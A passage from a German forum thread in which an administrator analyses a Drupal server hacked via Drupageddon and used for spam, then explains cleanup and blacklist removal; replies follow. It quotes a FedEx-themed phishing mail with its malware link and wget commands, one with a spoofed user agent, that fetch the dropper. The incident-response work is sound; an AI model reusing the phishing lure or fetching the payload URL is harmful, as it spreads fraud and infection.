Jetzt gleich ein Backup der Seite ein zu spielen, würde wahrscheinlich keinen längerfristigen Frieden auf unseren Server bringen. So lange "das Loch" am Server nicht gestopft ist, wird der Angreifer über die selbe Tür wieder herein spazieren.
In diesem speziellen Fall ist das Problem offensichtlich, da zur gleichen Zeit über den Drupageddon Exploit tausende Drupal Websites gehackt worden waren.
Es genügte ein altes Backup ein zu spielen und auf die aktuellste Version des CMS zu aktualisieren, nachdem alle schadhaften Dateien vom Server entfernt worden waren.


4.3 Wozu wurden die Spam Mails verschickt?

Erinnern wir uns an die Nachrichten, die über global66.php an tausende E-Mail-Adressen verschickt wurden.

[src=bash]Dear Customer,

Your parcel has arrived at October 20. Courier was unable to deliver the parcel to you.

To receive your parcel, print this label and go to the nearest office.

Click here to get your Shipping Label:

http://iphoneads.co.nz/article.php?fdx=LyB+Ji9vzchHtTuUVVOodCvHfCghqggH774+IrdjPG4[/src]

Für jeden einigermaßen geübten Internet Benutzer sollte klar sein, dass FedEx nicht über irgendeine beliebige Domain, in diesem Fall iphoneads.co.nz, seine Informationen zum Download anbieten wird. Meine Mutter würde aber mit Sicherheit auf diesen Link klicken.

Schauen wir uns an, was sich hinter dieser URL verbirgt. Da ich keine Infektion durch einen Browser Exploit oder ähnliches riskieren möchte, verwende ich WGET um den Inhalt der Seite herunter zu laden:

[src=bash]wget -Ofedex_spam.htm http://iphoneads.co.nz/article.php?fdx=LyB+Ji9vzchHtTuUVVOodCvHfCghqggH774+IrdjPG4[/src]

Der Inhalt wird in der Datei fedex_spam.htm gespeichert:


[src=php]<html>
<body>
<h1>
You have exceeded the maximum number of downloads allowed for your IP. Please try again later.
</h1>
</body>
</html>[/src]

Eine eher unerwartete Ausgabe, hätte ich doch mit einem infizierten PDF oder einer ausführbaren EXE Datei gerechnet. Irgendwie ist der Output aber dennoch auffällig. Wäre das der Rückgabewert eines "legalen" Anbieters, würde dieser zumindest sein Logo oder irgendwelche weiteren Informationen zum Unternehmen, wie eine Website Adresse oder Telefonnummer auf der Fehlerseite nennen.

Die Vermutung liegt also nahe, dass sich das Malware Script vor Suchmaschinen versucht zu verstecken. Würde Google auf das Script stoßen und es als Malware erkennen, würde die Adresse sofort auf einer Blacklist landen, und Besucher der Seite eine Warnung vor dem Öffnen erhalten. Möglicherweise checkt das Script den Referrer oder den Browser User Agent-String um zu entscheiden, ob es diese Fehlermeldung oder eine infizierte Datei zurückgibt.

Ich versuche es also nocheinmal, gebe diesmal aber einen User Agent String, der unseren Browser und das zugehörige Betriebssystem identifiziert, an:


[src=bash]wget -Ofuu.virus --user-agent="Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36" "http://iphoneads.co.nz /article.php?fdx=LyB+Ji9vzchHtTuUVVOodDnJiKzFO1AiaFauYUIFaxI"[/src]

Irgendetwas passiert jetzt und der Server spuckt ein paar Kilobytes aus, die auf unserem Rechner als fuu.virus gespeichert werden. Ich prüfe den Filetype:

[src=bash]file fuu.virus

fuu.virus: Zip archive data, at least v2.0 to extract[/src]

Wir haben also eine gezippte Datei erhalten, die wir gleich extrahieren und mit ClamAV prüfen:

[src=bash]unzip fuu.virus

Archive: fuu.zip inflating: Label_AT_Vienna.exe

clamscan Label_AT_Vienna.exe

----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0[/src]

Da ClamAV keine Bedrohung entdeckt, laden wir das File bei virustotal.com hoch um zu sehen, was die verschiedenen Virenscanner dazu sagen. Neun von 54 Scannern erkennen die EXE als Malware. Kein sehr hoher Schnitt, wenn man bedenkt wie hoch die Wahrscheinlichkeit ist, dass wir es hier mit einem Trojan oder ähnlicher Malware zu tun haben. Auch eine aktuelle Kaspersky Installation erkennt keine Auffälligkeiten.

Update: Aus Interesse prüfe ich die Datei vier Monate später nocheinmal auf Virustotal.com. Das Ergebnis: Zumindest 43 von 57 Scannern erkennen jetzt die Datei als "Net-Worm.Win32.Aspxor", "W32/Zortob.GHB!tr", "BackDoor.Kuluoz.4" oder "PE:Malware.FakeDOC@CV!1.9C3C".

Ziel des Spamversands dürfte also gewesen sein, dass möglichst viele ungepatchte Rechner mit einem Trojan/Backdoor infiziert werden sollten, wahrscheinlich um diese als Zombies in einem Botnet verwenden zu können.


Kapitel 5. Aufräumarbeiten


5.1. Das Einfallstor schließen

Wie bereits weiter oben erwähnt, genügt es nicht, nur die spammenden PHP Scripts bzw. etwaige hochgeladene PHP Shells zu entfernen, sondern auch das ursprüngliche Einfallstor muss geschlossen werden. Passiert das nicht, und der Server verschickt weiterhin Spam-Nachrichten, ist das Entfernen von Blacklists sinnlos, da die IP des Mailservers innerhalb kürzester Zeit wieder gesperrt werden würde.
Dieses Loch zu finden, würde den Rahmen dieses Papers sprengen. In meinem Fall war es ein Exploit für das Drupal CMS, vor dem in allen Fachzeitschriften und Blogs gewarnt worden war.

Durch Ausnutzung des Exploits konnte der Angreifer ausführbare Dateien in alle Verzeichnisse schreiben, die vom www-data Benutzer beschreibbar waren.
Üblicherweise wird man zwar versuchen, die Anzahl der durch den www-data Benutzer beschreibbaren Verzeichnisse so klein wie möglich zu halten, viele Content Management System brauchen diese Verzeichnisse aber, um Dateiuploads, Caching oder das Speichern von Einstellungen zu ermöglichen.


5.2. E-Mail Queue und Status "Deferred"

Sind alle Löcher gestopft - oder glauben wir das zumindest - starten wir Apache und den Mailserver wieder an und beobachten im mail.log oder über qshape ob neue Spam Mails von unserem Server versendet werden:

[src=bash]qshape deferred[/src]

Zeigt die Ausgabe von qshape eine sehr hohe Anzahl von nicht versendeten Mails, empfiehlt es sich auch, die Mail Queue komplett zu löschen. So wird verhindert, dass unser Server versucht unzählige "bösartige" E-Mails, die in der Warteschlange hängen seit wir den Mailserver beendet haben, erneut zuzustellen und uns damit neuerlich auf eine Blacklist zu bringen.

[src=bash]postsuper -d ALL deferred[/src]

Aber Achtung: Dabei werden sämtliche Mails in der Mail Queue entfernt und es findet kein weiterer Zustellversuch statt. Davon betroffen sind auch "gutartige" E-Mails, die ohne Benachrichtigung des Senders nicht mehr zugestellt werden können.


5.3. Runter von den Blacklists

Ist sichergestellt, dass kein weiterer Spam verschickt wird, können wir uns daran machen unseren Server wieder von den Blacklists entfernen zu lassen. Hier werden wir es einerseits mit großen Sperrlisten wie Spamhaus, Backscatterer oder Barracuda zu tun haben, andererseits auch mit Hostern, die eigene Blocklisten betreiben.

5.3.1. Zentrale Blacklists

Die größeren Blacklists erlauben es meist, die eigene Mailserver IP automatisiert löschen zu lassen. Je nach Anbieter ist dies ein paar Mal kostenlos und muss erst wenn man wiederholte Löschungen benötigt, bezahlt werden.

Um herauszufinden auf welchen Blacklists der eigene Server gelandet ist, empfiehlt es sich einen Dienst wie mxtoolbox.com zu verwenden. Von diesen Diensten gibt es genügend freie Anbieter, sodass man sich die Kosten für einen Premium-Account meiner Erfahrung nach gerne sparen kann.

Mxtoolbox zeigt im Bereich Blacklists eine Liste von vielen Blacklist-Providern und welche davon den eigenen Server bereits als Spam-Kandidat identifizieren.
Folgt man den Links zu den Websites der Blacklists, findet man dort im Regelfall ein Online-Formular über das man eine neuerliche Prüfung des eigenen Servers und eine Löschung von der Sperrliste beantragen kann. Dies kann abhängig vom Provider zwischen ein paar Stunden, bis zu ein paar Tagen dauern.

5.3.2. Die großen Freemail Provider

Die großen E-Mail-Provider wie GMX, YAHOO oder HOTMAIL betreiben darüberhinaus auch eigene Blacklists und bieten meist Formulare, die eine raschere Löschung ermöglichen, auch wenn der eigene Mailserver noch immer auf einer der bekannten Blacklists gelistet wird. Eine Löschung von den großen Spamlisten ist aber trotzdem unvermeidbar um die Reputation des eigenen Servers wieder zu verbessern.

Im mail.log findet sich neben der Deferred/Bounced Fehlermeldung meist ein Link zum Online-Formular des jeweiligen Providers um eine Löschung zu beantragen.

Hotmail, MSN, Outlook.com, Live.com

Erhält man Bounces vom Mailer Daemon mit dem Betreff "Undelivered Mail Returned to Sender" und einem Text wie diesen, ist man auf Microsofts Blacklist gelandet und keine weiteren Mails können vom eigenen Mailserver an beliebige MS Domains zugestellt werden:

mx3.hotmail.com[65.55.92.184] said: 550
SC-001 (SNT004-MC****) Unfortunately, messages from 1.2.3.4 weren't
sent. Please contact your Internet service provider since part of their
network is on our block list. You can also refer your provider to
http://mail.live.com/mail/troubleshooting.aspx#errors. (in reply to MAIL
FROM command)

Microsoft bietet dafür ein Support Formular an, über das die IP des betroffenen Mailservers von den Blacklists entfernt werden kann. Laut Bestätigungsmail dauert es bis zu 48 Stunden, bis der Bann entfernt ist, es wurde bei meinem letzten Versuch aber innerhalb von drei oder vier Stunden bearbeitet.

Microsoft Blacklist Removal Formular

Weiters gibt es zwei Dienste, die Microsoft Serverbetreibern bietet, um einen möglichen Ban zu vermeiden indem Probleme frühzeitig erkannt werden können. Um die Services nutzen zu können, muss ein kostenloser Account bei Hotmail oder Outlook.com erstellt werden, wenn man so einen nicht bereits hat.

Junk Email Reporting program (JMRP) When an Outlook.com user marks an email as "junk", senders enrolled in this program get a copy of the mail forwarded to the email address of their choice. It allows senders to see which mails are being marked as junk and to identify mail traffic you did not intend to send. To join, please visit http://support.msn.com/eform.aspx?p...=support_home_options_form_byemail&ct=eformts.

Smart Network Data Services program (SNDS). This program allows you to monitor the ‘health’ and reputation of your registered IPs by providing data about traffic such as mail volume and complaint rates seen originating from your IPs. To register, please visit http://postmaster.live.com/snds/.


5.3.3. Kleine Provider

Bemerkt man, dass trotz der oben genannten Schritte nach einigen Stunden E-Mails bei kleineren Providern, oder Firmen die eigene Mailserver betreiben, noch immer nicht durchkommen, empfiehlt sich die direkte Kontaktaufnahme mit den Admins der jeweiligen Domains. Meiner Erfahrung nach, sind diese auch immer daran interessiert, dass der E-Mail Verkehr des Auftraggebers reibungslos funktioniert und werden die IP des betroffenen Mailservers gerne auf eine Whitelist setzen.
 
Zuletzt bearbeitet:

cokeZ

Aktiver NGBler

Registriert
14 Juli 2013
Beiträge
4.435
Wo bleibt das tl;dr? :D

Nein, im Ernst, war selbst als Laie interessant zu lesen, wenn man vllt auch nur 50% verstanden hat!
 

electric.larry

\''; DROP TABLE user; --
Teammitglied

Registriert
13 Dez. 2014
Beiträge
4.549
Ort
Raum 43
  • Thread Starter Thread Starter
  • #5
Erhält man Bounces vom Mailer Daemon mit dem Betreff "Undelivered Mail Returned to Sender" und einem Text wie diesen, ist man auf Microsofts Blacklist gelandet und keine weiteren Mails können vom eigenen Mailserver an beliebige MS Domains zugestellt werden:

mx3.hotmail.com[65.55.92.184] said: 550
SC-001 (SNT004-MC****) Unfortunately, messages from 1.2.3.4 weren't
sent. Please contact your Internet service provider since part of their
network is on our block list. You can also refer your provider to
http://mail.live.com/mail/troubleshooting.aspx#errors. (in reply to MAIL
FROM command)

Microsoft bietet dafür ein Support Formular an, über das die IP des betroffenen Mailservers von den Blacklists entfernt werden kann. Laut Bestätigungsmail dauert es bis zu 48 Stunden, bis der Bann entfernt ist, es wurde bei meinem letzten Versuch aber innerhalb von drei oder vier Stunden bearbeitet.

Microsoft Blacklist Removal Formular

Weiters gibt es zwei Dienste, die Microsoft Serverbetreibern bietet, um einen möglichen Ban zu vermeiden indem Probleme frühzeitig erkannt werden können:

Junk Email Reporting program (JMRP) When an Outlook.com user marks an email as "junk", senders enrolled in this program get a copy of the mail forwarded to the email address of their choice. It allows senders to see which mails are being marked as junk and to identify mail traffic you did not intend to send. To join, please visit http://support.msn.com/eform.aspx?p...=support_home_options_form_byemail&ct=eformts.

Smart Network Data Services program (SNDS). This program allows you to monitor the ‘health’ and reputation of your registered IPs by providing data about traffic such as mail volume and complaint rates seen originating from your IPs. To register, please visit http://postmaster.live.com/snds/.
 

Gast

Guest

G
Hallo,

mein fünfjähriger Neffe *räusper* hätte gerne erklärt, worum es hier überhaupt geht.
 

drfuture

Zeitreisender
Teammitglied

Registriert
14 Juli 2013
Beiträge
8.728
Ort
in der Zukunft
Um 200px-Dose16.jpg
 

Logma

Neu angemeldet

Registriert
8 Nov. 2015
Beiträge
30
Netter Text. gut geschrieben.
Bei der Sache mit dem www-data User wären ein kleiner Seitenhieb in alternative PHP Ausführungsmethoden noch ganz nice, schließlich basiert dein Text auf mod_php, fcgi, php-fpm und co vereinfachen den Step den schuldigen zu finden da diese Script unter dem jeweiligen Eigentümer ausgeführt werden. Neben der Tatsache das diese Methoden noch andere Vorteile (ja, und Nachteile) haben.

Ansonsten sprichst du mir aus der Seele. Geht mir und meinen Mitarbeitern nicht anders ;) Wobei wir mehr mit Exchange und Sophos Firewall Lösungen arbeiten. Wir haben nur eine begrenzte Anzahl an Linux Mail Maschinen bzw. Hosting Maschinen auf Linux Basis auf denen sich dann versch. Kunden tummeln.
 

electric.larry

\''; DROP TABLE user; --
Teammitglied

Registriert
13 Dez. 2014
Beiträge
4.549
Ort
Raum 43
  • Thread Starter Thread Starter
  • #11
Danke für das nette Feedback. Ich hab recht lang an dem Text geschrieben und ihn immer wieder verworfen, weil ich mich beim Schreiben meist gefragt hab, wer soetwas überhaupt lesen wollen würd. Freut mich, dass manche doch nichts Besseres zu tun haben ;P

Vielleicht hätt ich die restliche Rahmenhandlung und meine unzähligen Lebensweisheiten zwischen den Maillogs doch nicht rausstreichen sollen ;)

<3
 

TimeCode

Neu angemeldet

Registriert
3 Apr. 2015
Beiträge
50
Ort
Global
Spam kann nur existieren weil mehr wie weniger Beteiligte, daran glauben. Es existieren demnach mehr Menschen die glauben ein entfernter Bekannter (irgendwo auf dem Globus) hat ein an ihn zu vererbendes Vermögen, welches neuen Besitzer sucht, als diese, die Wissen das es Menschen gibt, die denken das es Menschen gibt, die so vererben. Resultat wird eine Horde von Menschen sein, die glauben der Zufall hätte sie bedacht und sie würden von nun an wohlhabend sein. Es basiert auf Glauben..
 

TimeCode

Neu angemeldet

Registriert
3 Apr. 2015
Beiträge
50
Ort
Global
Danke, ja mitunter auch. Dachte nur an die ganzen Fälle von Betrug, wo irgendwelche Mails die aus zb. Ländern wie Afrika kamen, und einem weiss machen wollten, da gäbe es einen der mit mir auf 50 Ecken verwandt ist und ich nun sein Vermögen geerbt hab, ich muss nur 150 € Freischaltgebühr (oder so) entrichten^^
 

electric.larry

\''; DROP TABLE user; --
Teammitglied

Registriert
13 Dez. 2014
Beiträge
4.549
Ort
Raum 43
  • Thread Starter Thread Starter
  • #17
Grade bemerkt, dass alle unsere Hosts, die bei Hetzner liegen, bei AT&T blacklisted sind. Ich nehme an, dass dort gesamte Hetzner IP-Ranges blacklisted wurden, weil manche unserer Hosts seit fast 10 Jahren rennen und es von unserer Seite nie Spam oder ähnliches in Richtung AT&T Server gegeben hat.

Die Fehlermeldungen der bounced Nachrichten sehen in etwa so aus:

host al-ip4-mx-vip1.prodigy.net[144.160.235.143] said:
553 5.3.0 alph130 DNSBL:ATTRBL 521< YOUR-IP-ADDRESS >_is_blocked.For assistance forward this email to abuse_rbl@abuse-att.net (in reply to MAIL FROM command)

Auf meine Weiterleitungen an die, in der Fehlermeldung angegebene E-Mail-Adresse, gab es keine Reaktionen.

Hier gibt es die Formulare, um sich von AT&T Blacklists entfernen zu lassen.
 

drfuture

Zeitreisender
Teammitglied

Registriert
14 Juli 2013
Beiträge
8.728
Ort
in der Zukunft
Gegen Spam im allgemeinen setze ich seit zig Jahren https://sourceforge.net/projects/assp/ ein.
Die Optionen erschlagen einen zwar erst einmal - aber sind eigentlich alle super beschrieben.
Der Vorteil ist das die Lösung mit eigentlich jedem Mailserver zusammen arbeitet da er davor geschaltet wird.
Das heißt den eigenen Mailserver auf localhost legen und assp geht nach draußen.
 

electric.larry

\''; DROP TABLE user; --
Teammitglied

Registriert
13 Dez. 2014
Beiträge
4.549
Ort
Raum 43
  • Thread Starter Thread Starter
  • #20
ASSP schaut wirklich gut aus, werd ich mir sobald Zeit ist einmal ansehen. Verwendest du Postfix, Exim oder was Anderes?
 
Oben